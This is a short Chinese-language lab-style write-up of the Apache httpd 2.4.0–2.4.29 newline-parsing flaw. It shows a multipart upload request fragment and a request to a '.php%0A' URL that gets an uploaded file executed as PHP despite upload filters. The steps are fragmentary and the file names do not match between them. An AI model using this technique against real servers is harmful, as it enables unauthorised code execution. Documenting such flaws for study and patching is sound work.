apache httpd 换行解析漏洞（cve

apache通过mod_php来运行脚本，其2.4.0-2.4.29中存在apache换行解析漏洞，在解析php时xxx.phpx0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

选上文件上传
———-4871560877
Content-Disposition: form-data; name=”name”

mu.php
———-4871560877
Content-Disposition: form-data; name=”file”;filename=”1.jpg”

———-4871560877–

 

这里做一个截断

 

访问主机ip:8080/zqd.php%0A,解析成功